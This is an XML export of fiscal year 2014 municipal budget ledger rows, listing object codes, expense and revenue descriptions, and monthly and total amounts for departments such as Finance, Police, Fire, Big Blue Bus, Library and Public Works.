<row _id="8532"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5266.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5266.0</total></row>
<row _id="8533"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10250.0</total></row>
<row _id="8534"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>81.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>81.0</total></row>
<row _id="8535"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16400.0</total></row>
<row _id="8536"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>89175.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>89175.0</total></row>
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<row _id="8538"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>114000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>114000.0</total></row>
<row _id="8539"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>637.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>637.0</total></row>
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<row _id="8548"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>604449.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>604449.0</total></row>
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<row _id="8553"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>77481.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77481.0</total></row>
<row _id="8554"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1558797.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1558797.0</total></row>
<row _id="8555"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12420.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12420.0</total></row>
<row _id="8556"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4182.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4182.0</total></row>
<row _id="8557"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544193.0</object><object_description>CLEANING SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>222123.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>222123.0</total></row>
<row _id="8558"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555011.0</object><object_description>OUTSIDE REPAIRS - BUSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1320344.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1320344.0</total></row>
<row _id="8559"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555012.0</object><object_description>OUTSIDE REPAIRS - SERVICE VEHC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40898.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40898.0</total></row>
<row _id="8560"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="8561"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522045.0</object><object_description>PAYOUTS FOR UNINSURED PL/PD</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500000.0</total></row>
<row _id="8562"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522624.0</object><object_description>JOINT FACILITIES RENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30750.0</total></row>
<row _id="8563"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15586535.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15586535.0</total></row>
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<row _id="8568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="8569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="8570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>140300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>140300.0</total></row>
<row _id="8571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1995.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1995.0</total></row>
<row _id="8572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>27265.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27265.0</total></row>
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<row _id="8575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3075.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3075.0</total></row>
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<row _id="8578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>305.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>305.0</total></row>
<row _id="8579"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16832.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16832.0</total></row>
<row _id="8580"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20899.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20899.0</total></row>
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<row _id="8582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>39900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39900.0</total></row>
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<row _id="8585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>425272.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>425272.0</total></row>
<row _id="8586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5388.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5388.0</total></row>
<row _id="8587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>91540.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>91540.0</total></row>
<row _id="8588"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>32737.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32737.0</total></row>
<row _id="8589"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>22000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22000.0</total></row>
<row _id="8590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>842.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1042787.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1042787.0</total></row>
<row _id="8591"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>566060.0</object><object_description>INTEREST EXPENSE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="8592"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>544240.0</object><object_description>PROP C REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20000.0</total></row>
<row _id="8593"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-146646.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-146646.0</total></row>
<row _id="8594"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578300.0</object><object_description>SUPPORTIVE HOUSING PROGRAM</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-113192.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-113192.0</total></row>
<row _id="8595"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>544240.0</object><object_description>PROP C REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="8596"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570250.0</object><object_description>GEN FD REIMBURSEMENT FROM PIER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>192038.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>192038.0</total></row>
<row _id="8597"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code>856.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6300000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6300000.0</total></row>
<row _id="8598"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>864.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62150.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62150.0</total></row>
<row _id="8599"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>405550.0</object><object_description>DOMESTIC PARTNERSHIP FLNG FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-175.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-175.0</total></row>
<row _id="8600"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400010.0</object><object_description>PROPERTY TAXES - SECURED</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400080.0</object><object_description>HOME EXEMPT TAX RELIEF</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8602"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400150.0</object><object_description>DOCUMENTARY TRANSFER TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8603"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
